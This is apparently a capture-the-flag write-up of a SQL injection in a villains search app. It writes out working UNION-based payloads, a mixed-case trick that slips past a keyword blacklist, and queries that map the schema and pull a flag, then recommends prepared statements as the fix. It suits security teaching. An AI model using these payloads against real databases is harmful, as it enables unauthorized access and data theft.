Vulnerability analysis The spiderman application performs a SQL query on a villains database. The query is on the basis of a search string, and it uses a regular expression. The query is vulnerable to SQL injection, because the villain name is unsafely concatenated to the SQL code. To test this, we can search (with browser or Burp) a single quote character, which leads to a suspicious "Invalid query" message. Moreover, searching for two single quote characters leads to a normal "(no villain with such a name)" message, which tells us that no SQL error has occurred. Indeed two single quotes are interpreted as a single literal quote in SQL strings. Exploitation The first thing to do is to check the number of columns of the UNION operation by searching for: ' UNION SELECT NULL -- (Note the trailing space.) From this test we learn that the keywords "UNION" and "union" are blacklisted, but we can bypass the filter by injecting a mixed-case equivalent, for example "UNiON". Coming back to column number, we search for: ' UNiON SELECT NULL -- ' UNiON SELECT NULL,NULL -- ' UNiON SELECT NULL,NULL,NULL -- ' UNiON SELECT NULL,NULL,NULL,NULL -- The last search will not give us "Invalid query" message, so we learn that the original SQL query has four columns. By searching for: ' UNiON SELECT 'a','b','c','d' -- we learn that all columns are string-compatible, and that all of them except the third one are reflected into the returned page. Now we reverse engineer the database structure by searching for: ' UNiON SELECT table_name,column_name,NULL,NULL FROM information_schema.columns WHERE table_schema=database() -- We learn that there is a table named "secretflagx" with a single column named "flag". We can steal such a flag by searching for: ' UNiON SELECT flag,NULL,NULL,NULL FROM secretflagx -- Remediation We can patch this by using real_escape_string() even in the second query, but this leaves space for other possible vulnerabilities. Thus the best approach is to use prepared statements.